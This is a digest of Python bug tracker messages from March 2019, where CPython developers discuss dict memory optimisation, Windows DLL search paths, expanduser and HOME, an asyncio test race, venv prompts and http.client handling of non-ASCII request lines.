Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Tue Mar 12 13:21:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 12 Mar 2019 17:21:42 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552411302.66.0.255683898854.issue30040@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:01:18 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 12 Mar 2019 18:01:18 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552413678.18.0.624281842137.issue36264@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> `os.path.expanduser` in `ntpath` uses `HOME` in preference to 
> `USERPROFILE` / `HOMEDRIVE\\HOMEPATH`

Guido intentionally added support for HOME in ntpath.expanduser way back in Python 1.5 (circa 1997), and now we're removing it over 20 years later. I expect this to break some deployments, but it's not a serious problem. 

My feeling here is "meh". Practically all use of expanduser() is dubious in Windows, varying from going against convention to being completely wrong. We're long due for a module in the standard library that abstracts access to platform-specific configuration and special directories, but attempts to adopt one keep losing momentum. I guess it's too prone to bike shedding and arguments.

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:18:16 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 12 Mar 2019 18:18:16 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552414696.88.0.451164568451.issue36256@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

It's sounding like it might be worth the effort then to make lib2to3's parser not be a "hidden" thing in lib2to3, break it out as a new parser module (I have no stance on name), and then deprecate the old parser module. I think this was discussed at the last language summit when Christian proposed deprecating lib2to3 and everyone said the parser is too useful to lose.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:33:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 18:33:16 +0000
Subject: [issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race
 condition
In-Reply-To: <1547733864.78.0.251061521649.issue35760@roundup.psfhosted.org>
Message-ID: <1552415596.07.0.807032533088.issue35760@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I have modified the test with help of Victor to have lower sleep delay to reproduce the bug. Since sleep calls call_later with the delay where the Timer object is created time.monotonic() + delay. I have added a print statement to see when the sleep is scheduled.

Modified test with 0.01 for run and 0.001 for finally : 

    def test_async_gen_asyncio_gc_aclose_09(self):
        DONE = 0
        import time

        async def gen():
            nonlocal DONE
            try:
                while True:
                    yield 1
            finally:
                print(time.monotonic(), "finally sleeps 1 ms")
                await asyncio.sleep(0.001)
                print(time.monotonic(), "finally sleeps 1 more ms")
                await asyncio.sleep(0.001)
                DONE = 1
                print(time.monotonic(), "finally: DONE = 1--")

        async def run():
            g = gen()
            await g.__anext__()
            await g.__anext__()
            print(time.monotonic(), "del g")
            del g

            print(time.monotonic(), "run sleeps 10 ms...")
            await asyncio.sleep(0.01)
            print(time.monotonic(), "run exit")

        self.loop.run_until_complete(run())
        self.assertEqual(DONE, 1)


./python.exe -X dev -m test -j4 -F test_asyncgen -m test_async_gen_asyncio_gc_aclose_09

On running the test I can see that sometimes sometimes DONE is set before run exit.

0:00:00 load avg: 1.87 [  1] test_asyncgen passed
0.738210762 del g
0.739222722 run sleeps 10 ms...
0.7625599120000001 0.01
0.757210842 finally sleeps 1 ms
0.76050695 0.001
0.762445572 finally sleeps 1 more ms
0.765119049 0.001
0.765694536 run exit
0.76704106 finally: DONE = 1--

sometimes DONE is set after run exit.

0:00:00 load avg: 1.87 [  2] test_asyncgen passed
0.739718657 del g
0.740647619 run sleeps 10 ms...
0.764014802 0.01
0.759427252 finally sleeps 1 ms
0.762613547 0.001
0.764573796 finally sleeps 1 more ms
0.767242878 0.001
0.767722044 run exit
0.769133638 finally: DONE = 1--


There are cases where run exit is called before second sleep is even called causing failure.

0:00:03 load avg: 1.96 [ 16/1] test_asyncgen failed
0.685123806 del g
0.685635626 run sleeps 10 ms...
0.698605025 0.01
0.69112447 finally sleeps 1 ms
0.700476131 0.001
0.701259052 run exit
0.702733814 finally sleeps 1 more ms
0.70500493 0.001
Task was destroyed but it is pending!
source_traceback: Object created at (most recent call last):

Sometimes the second sleep scheduled time and run exit time are almost the same by 1 ms.

0:00:04 load avg: 1.96 [ 18/2] test_asyncgen failed
0.701280462 del g
0.701810041 run sleeps 10 ms...
0.714906478 0.01
0.707617751 finally sleeps 1 ms
0.713339727 0.001
0.714532967 finally sleeps 1 more ms
0.7167121870000001 0.001
0.716623958 run exit
Task was destroyed but it is pending!


I am not sure at this point if I should further debug this at Lib/asyncio/ or at _asynciomodule.c regarding the control flow change related code when an object is awaited. I suspect there is a race condition here since the test seems to set DONE=1 with different control flows and also where DONE=1 is not even called. This is more easily reproducible at lower resolution of time like using 0.01 and 0.001 for this test so this feels more like the race condition is exposed at lower time levels and thus increasing the time difference between the test doesn't seem to be a good solution. 

The above test also fails in 3.6 but takes a long time before below trace occurs : 

0:00:42 load avg: 4.26 [159] test_asyncgen passed
16775.541152592 del g
16775.541369282 run sleeps 10 ms...
16775.542167311 finally sleeps 1 ms
16775.544090629 finally sleeps 1 more ms
16775.546002851 finally: DONE = 1--
16775.552762612 run exit
0:00:43 load avg: 4.26 [160/1] test_asyncgen failed
16775.529271686 del g
16775.529405 run sleeps 10 ms...
16775.529833951 finally sleeps 1 ms
16775.539453811 finally sleeps 1 more ms
16775.539972874 run exit
Task was destroyed but it is pending!
task: <Task pending coro=<async_generator_athrow()> wait_for=<Future finished result=None>>
test test_asyncgen failed -- Traceback (most recent call last):
  File "/Users/karthikeyansingaravelan/stuff/python/cpython/Lib/test/test_asyncgen.py", line 693, in test_async_gen_asyncio_gc_aclose_09
    self.assertEqual(DONE, 1)
AssertionError: 0 != 1


Yury and Andrew, your thoughts would be helpful in debugging this issue and also to check the actual behavior to be tested in this case.

----------
nosy: +asvetlov, yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35760>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:33:18 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 18:33:18 +0000
Subject: [issue36264] os.path.expanduser should not use HOME on windows
In-Reply-To: <1552320597.36.0.934790753816.issue36264@roundup.psfhosted.org>
Message-ID: <1552415598.7.0.629683187057.issue36264@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> Guido intentionally added support for HOME in ntpath.expanduser way back in Python 1.5 (circa 1997), and now we're removing it over 20 years later.

Wouldn't be the first thing to be removed :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36264>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:40:06 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 12 Mar 2019 18:40:06 +0000
Subject: [issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race
 condition
In-Reply-To: <1547733864.78.0.251061521649.issue35760@roundup.psfhosted.org>
Message-ID: <1552416006.37.0.0523884365873.issue35760@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

Can you change "await asyncio.sleep(0.01)" to "await asyncio.sleep(1)" and check if the test still fails?  (IOW see if there's a bug in Python's async gen implementation or this is simply caused by slow CI bots).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35760>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:45:46 2019
From: report at bugs.python.org (Xavier Combelle)
Date: Tue, 12 Mar 2019 18:45:46 +0000
Subject: [issue36256] parser module fails on legal input
In-Reply-To: <1552235819.03.0.691593467494.issue36256@roundup.psfhosted.org>
Message-ID: <1552416346.06.0.984861797312.issue36256@roundup.psfhosted.org>


Xavier Combelle <xavier.combelle at gmail.com> added the comment:

never used the parser module nor lib2to3. Does they have any advantage over ast.parse and ast module ?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36256>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:48:59 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 18:48:59 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552416539.29.0.138270707637.issue35661@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Maybe you can just call builder.create_configuration() from the test and pass in enough context that it doesn't have to create a real venv? That would also make the test faster.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:50:02 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 18:50:02 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552416602.55.0.385110923264.issue35661@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

It may also be that the directory exists already - the previous test explicitly removes it before calling create().

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:52:32 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Tue, 12 Mar 2019 18:52:32 +0000
Subject: [issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race
 condition
In-Reply-To: <1547733864.78.0.251061521649.issue35760@roundup.psfhosted.org>
Message-ID: <1552416752.12.0.726104912433.issue35760@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

I changed sleep(0.01) to sleep(1) and even after 350 runs I couldn't see any failure in test. I guess it fails only for less difference in time like 0.01 and 0.001.

$ ./python.exe -X dev -m test -j4 -F test_asyncgen -m test_async_gen_asyncio_gc_aclose_09
[snip]
0:02:46 load avg: 3.71 [356] test_asyncgen passed
0.660945396 del g
0.661572575 run sleeps 1000 ms...
1.664627785 1
0.666234736 finally sleeps 1 ms
0.667970371 0.001
0.669262596 finally sleeps 1 more ms
0.671174578 0.001
0.671972246 finally: DONE = 1--
1.668627272 run exit

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35760>
_______________________________________

From report at bugs.python.org  Tue Mar 12 14:53:57 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 12 Mar 2019 18:53:57 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552416837.31.0.0772875055226.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> will this change just affect the embedded Python, or will it affect 
> the whole process

SetDefaultDllDirectories affects the whole process and cannot be reverted back to the legacy search path that includes "%SystemRoot%",  "%SystemRoot%\System" (the old 16-bit directory), the current working directory, and the PATH directories. Also, there's no LoadLibraryExW flag to use the legacy search path, either, so scripts and packages that use ctypes or cffi will have to be updated if they depend on PATH or changing the working directory. 

The alternative is to modify Python's importer to use the secure LoadLibraryExW flags (i.e. LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_DEFAULT_DIRS), without affecting the rest of the process. 

LOAD_LIBRARY_SEARCH_DEFAULT_DIRS includes the application directory, the user directories added with AddDlldirectory or SetDllDirectoryW, and the System32 directory. LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR prepends the directory of the target DLL, which must be passed as a fully-qualified path.

> The docs for SetDllDirectory seem to imply that there *is* a global
> impact

SetDllDirectoryW still works after calling SetDefaultDllDirectories, as long as we include either LOAD_LIBRARY_SEARCH_USER_DIRS or LOAD_LIBRARY_SEARCH_DEFAULT_DIRS. It only allows adding a single directory, so it's of limited use anyway.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 15:16:47 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 12 Mar 2019 19:16:47 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552418207.03.0.426435498602.issue30040@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

What about creating small dict using a dict display? E.g. {'a': None}.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 15:34:07 2019
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 12 Mar 2019 19:34:07 +0000
Subject: [issue35760] test_asyncio: test_async_gen_asyncio_gc_aclose_09() race
 condition
In-Reply-To: <1547733864.78.0.251061521649.issue35760@roundup.psfhosted.org>
Message-ID: <1552419247.32.0.55434769899.issue35760@roundup.psfhosted.org>


Yury Selivanov <yselivanov at gmail.com> added the comment:

> I guess it fails only for less difference in time like 0.01 and 0.001.

Yeah, that's what I was thinking.  0.1 seconds is still too tight, a simple GC pause can skew the timers and break the test logic.

Maybe we should just increase the sleep to 0.5 or 1 second and hope that it will eliminate the race.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35760>
_______________________________________

From report at bugs.python.org  Tue Mar 12 15:45:47 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 19:45:47 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552419947.16.0.718406420516.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> The alternative ...

Is what I proposed in the first place. Adding the SetDefaultDllDirectories call to Py_Main (that is, NOT for embedders) is to ensure consistency throughout the process. It'll only affect extension module dependencies that do their own delay loading and currently rely on unsupported resolve paths.

Since everyone seems to have misunderstood at least part of the proposal, I'm not going to explain any more until I have a patch. Excluding boilerplate and docs, it'll be about ten lines of code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 15:46:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 19:46:03 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552419963.97.0.403614037449.issue30040@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> Hmm, while 2x faster temporal empty dict is nice, 
> 10% slower case can be mitigated.
> I will try more micro benchmarks and optimizations.

I hate to see you working so hard to make this work.  IMO, the effort is futile.  Dicts were intentionally designed to do a single memory allocation and memset(0) to be fully ready to store data.  This PR is undoing that decision and will make Python worse rather than better.  The PR is optimizing for the wrong thing.  The space used by empty dicts is something we care much less about than the cost of the first assignment.

No "mitigations" are going to help.  If there is a second malloc and we incur the cost of switching from sharing-to-non-sharing, that is additional work that will have be done by every single dictionary that actually gets used.  Nothing will get that lost work back.

FWIW, if we were going to optimize for space used by empty dicts, the table pointer could just be set to NULL.  That would be better than key sharing which is not only slower but also conceptually wrong (outside the context of instance creation, dicts will never be shared).

> For the record, legitimate case when many empty dicts are 
> created, and few are populated, is the collections-free 
> approach to defaultdict(dict):

While it is helpful to know that there is some possible application that would benefit, we don't optimize for the rare case, we optimize for the common case where dicts get used.  A substantial fraction of the language is implemented using dicts. For the most part, we use NULL values when the dict isn't actually needed; so, the normal case is that dicts do get used.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 15:59:09 2019
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 12 Mar 2019 19:59:09 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552420749.78.0.845967032757.issue35661@roundup.psfhosted.org>


Change by Brett Cannon <brett at python.org>:


----------
assignee: brett.cannon -> cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:09:12 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 12 Mar 2019 20:09:12 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552421352.85.0.209023492106.issue36085@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

OK, I don't really follow enough of the details here to comment properly. But clearly Steve and Eryk are not yet in agreement.

My personal view is that this is something where we should be trying *very* hard to preserve backward compatibility. The proposal here is intended to solve the problem of making it easier for .pyd files to reliably load helper DLLs from shared locations. That's fine, and while it's an important use case (AIUI, it matters for a lot of the scientific stack) IMO it's *not* important enough to warrant breaking working scripts or embedding applications (particularly as this is a fairly obscure detail of how Windows works, so it's unlikely that people carefully follow "best practices" here).

I'm very concerned that comments I've seen here, specifically

>> That will require rewriting many scripts and packages that use ctypes or cffi
>> to load DLLs. It would also break DLLs that internally rely on modifying PATH
>> for a delayed load, though I hope that's uncommon. I think it's easier for
>> everyone else if we implement this just for extension-module loading with the
>> LoadLibraryExW flags.
>
> Only if they're loading them via PATH. If they're using full paths they'll be fine, and if they're using system DLLs they'll be fine. In both cases, the fix will work (better) with existing versions.
>
>> Also, if I'm understanding your intention, loading an extension may fail when
>> Python is embedded if the process is using the legacy DLL search path.
>
> That's true. "import" will always use the secure flags, and so if you were relying on PATH to locate dependencies of the extension module (note that extension modules themselves are loaded by full path, so it doesn't apply to them), you need to stop doing that.

imply that it's OK to break working code "because they are doing things wrongly". That's not how backward compatibility works - we should avoid breaking *any* working code, no matter how ill-advised it seems to be.

If it's necessary to break code that (say) uses ctypes to load a DLL via PATH, or an embedding application that relies on getting DLLs using PATH, then we need to follow PEP 387 and go through a deprecation cycle for the existing behaviour.

For the ctypes case I assume we can detect where we found the DLL being loaded, so warning that behaviour will change is certainly possible.

For the embedding case, we could (for example) add an API Py_UseSecureSearchPath(bool) that embedders should call to opt into the new search semantics. With an explicit opt-in, we can then migrate that to be the default over time - have the Python API warn for a release if called without the opt-in, and then switch the default to be the secure search path, with applications that want to use the old search path being able to opt out using Py_UseSecureSearchPath(FALSE) for a release or two.

That proposal is very much off the top of my head. But the point is that it's not impossible to make the transition follow the normal backward compatibility rules, and so we should do so.

Of course, far simpler would be to choose a solution which *doesn't* break existing code :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:10:46 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 12 Mar 2019 20:10:46 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1552419947.16.0.718406420516.issue36085@roundup.psfhosted.org>
Message-ID: <CACac1F8bp5Jm2F29LQXmVbRLaXOuAFvR5G96hhPn9mXMyJCZvg@mail.gmail.com>


Paul Moore <p.f.moore at gmail.com> added the comment:

> Since everyone seems to have misunderstood at least part of the proposal, I'm not going to explain any more until I have a patch. Excluding boilerplate and docs, it'll be about ten lines of code.

+1 on that. Code is much harder to misunderstand :-)

Paul

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:11:42 2019
From: report at bugs.python.org (Mark Shannon)
Date: Tue, 12 Mar 2019 20:11:42 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552421502.56.0.499534424393.issue30040@roundup.psfhosted.org>


Mark Shannon <mark at hotpy.org> added the comment:

In general, I agree with Raymond that this is likely to counter-productive.

But let's not guess, let's measure :)

I expect that there are few live empty dicts at any time for most programs. In which case there is no point in any change that attempts to save memory use for empty dicts.

But I could be wrong. If there commonly are lots of live empty dicts,
then some sort of optimisation could be appropriate.


I should also add that dict.clear() uses a key-sharing dict to avoid allocation, because PyDict_Clear() is a void function so there is no way to handle an allocation failure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:23:51 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 20:23:51 +0000
Subject: [issue35832] Installation error
In-Reply-To: <1548505296.29.0.442399484637.issue35832@roundup.psfhosted.org>
Message-ID: <1552422231.44.0.431722084844.issue35832@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Closing due to no response.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35832>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:24:13 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 20:24:13 +0000
Subject: [issue35944] Python 3.7 install error
In-Reply-To: <1549659797.94.0.56697514118.issue35944@roundup.psfhosted.org>
Message-ID: <1552422253.4.0.609247810589.issue35944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Closing due to no response

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35944>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:26:14 2019
From: report at bugs.python.org (Mark Shannon)
Date: Tue, 12 Mar 2019 20:26:14 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552422374.52.0.88508594281.issue30040@roundup.psfhosted.org>


Mark Shannon <mark at hotpy.org> added the comment:

Serhiy, for {'a': None} the dict is created using _PyDict_NewPresized() so this makes no difference.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:26:35 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 12 Mar 2019 20:26:35 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552422395.39.0.218142864486.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

Okay. Sorry for adding noise. My mental hiccup was in thinking it would continue to use LOAD_WITH_ALTERED_SEARCH_PATH in conjunction with SetDefaultDllDirectories: LOAD_LIBRARY_SEARCH_DEFAULT_DIRS. I forgot that it's documented that they shouldn't be combined. Instead we have to explicitly use LOAD_LIBRARY_SEARCH_DLL_LOAD_DIR | LOAD_LIBRARY_SEARCH_DEFAULT_DIRS in each LoadLibraryExW call in order to support loading DLLs beside the extension module. In this case, embedding applications that don't call SetDefaultDllDirectories won't have a problem loading extensions that rely on AddDllDirectory. It's only ctypes and cffi packages that will be forced to update if they currently rely on PATH or the working directory.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:33:23 2019
From: report at bugs.python.org (Tim Burke)
Date: Tue, 12 Mar 2019 20:33:23 +0000
Subject: [issue36274] http.client cannot send non-ASCII request lines
Message-ID: <1552422803.93.0.420596825145.issue36274@roundup.psfhosted.org>


New submission from Tim Burke <tim.burke at gmail.com>:

While the RFCs are rather clear that non-ASCII data would be out of spec,

* that doesn't prevent a poorly-behaved client from sending non-ASCII bytes on the wire, which means
* as an application developer, it's useful to be able to mimic such a client to verify expected behavior while still using stdlib to handle things like header parsing, particularly since
* this worked perfectly well on Python 2.

The two most-obvious ways (to me, anyway) to try to send a request for /?? (for example) are

    # Assume it will get UTF-8 encoded, as that's the default encoding
    # for urllib.parse.quote()
    conn.putrequest('GET', '/\u4f60\u597d')

    # Assume it will get Latin-1 encoded, as
    #   * that's the encoding used in http.client.parse_headers(),
    #   * that's the encoding used for PEP-3333, and
    #   * it has a one-to-one mapping with bytes
    conn.putrequest('GET', '/\xe4\xbd\xa0\xe5\xa5\xbd')

both fail with something like

    UnicodeEncodeError: 'ascii' codec can't encode characters in position ...

Trying to pre-encode like

    conn.putrequest('GET', b'/\xe4\xbd\xa0\xe5\xa5\xbd')

at least doesn't raise an error, but still does not do what was intended; rather than a request line like

    GET /?? HTTP/1.1

(or

    /??????

depending on how you choose to interpret the bytes), the server gets

    GET b'/\xe4\xbd\xa0\xe5\xa5\xbd' HTTP/1.1

The trouble comes down to https://github.com/python/cpython/blob/v3.7.2/Lib/http/client.py#L1104-L1107 -- we don't actually have any control over what the caller passes as the url (so the assumption doesn't hold), nor do we know anything about the encoding that was *intended*.

One of three fixes seems warranted:

* Switch to using Latin-1 to encode instead of ASCII (again, leaning on the precedent set in parse_headers and PEP-3333). This may make it too easy to write an out-of-spec client, however.
* Continue to use ASCII to encode, but include errors='surrogateescape' to give callers an escape hatch. This seems like a reasonably high bar to ensure that the caller actually intends to send unquoted data.
* Accept raw bytes and actually use them (rather than their repr()), allowing the caller to decide upon an appropriate encoding.

----------
components: Library (Lib)
messages: 337802
nosy: tburke
priority: normal
severity: normal
status: open
title: http.client cannot send non-ASCII request lines
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36274>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:39:53 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 20:39:53 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552423193.36.0.921836185642.issue36229@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

I intend to make a python-dev post about this so we can decide whether to move forward or not.   For now, here are a few thoughts:

* Something like this was implemented for strings as an effort to mitigate the harm from a common mistake of using chained addition to build-up string rather than using string join.  IIRC, there as a decision at that time not to do something similar for other containers.

* FWIW, the non-operator versions of these operations already support passing in multiple arguments and is the preferred way to do it.

* I think this PR would help some code in the wild.  But typically, people know that building series of new containers will tend to make copies.  It would be surprising if it didn't.

* We really don't want people to rely on this optimization. It is very fragile. If someone ever adds an extra reference, the chained operations become quadratic again.

Right now, I'm -0 on the change.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:45:26 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 12 Mar 2019 20:45:26 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552423526.16.0.376332813466.issue36229@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> Binary operations on collections are, in general, of quadratic complexity.

BTW, this seems like drastic mischaracterization, making it seem like something is wrong with the containers.  It is more accurate to say that an uncommon user pattern of repeated copy-and-add operations on containers can give quadratic behavior.

Likewise, it is a mischaracterization to say this PR "fixes" the containers.  Instead, it uses what is arguably a hack to recognize potential cases where the copy step can be skipped, even though that is what the user explicitly specified should occur.

Armin, do you remember the outcome of the discussions when you added the string optimization for repeated concatenation.  I do remember that we told users not to rely on it and that the str.join() was still the recommended best practice.

----------
nosy: +arigo

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:51:00 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 20:51:00 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1552423860.91.0.694132936.issue36085@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Actually, CFFI is probably going to be most affected. Who do we know from that project who should be nosied on this?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:52:03 2019
From: report at bugs.python.org (Steve Dower)
Date: Tue, 12 Mar 2019 20:52:03 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552423923.63.0.268186581822.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 507bd8cde60ced74d13a1ffa883bb9b0e73c38be by Steve Dower in branch '2.7':
[3.7] bpo-36216: Only print test messages when verbose (GH-12291)
https://github.com/python/cpython/commit/507bd8cde60ced74d13a1ffa883bb9b0e73c38be


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Tue Mar 12 16:59:40 2019
From: report at bugs.python.org (mattip)
Date: Tue, 12 Mar 2019 20:59:40 +0000
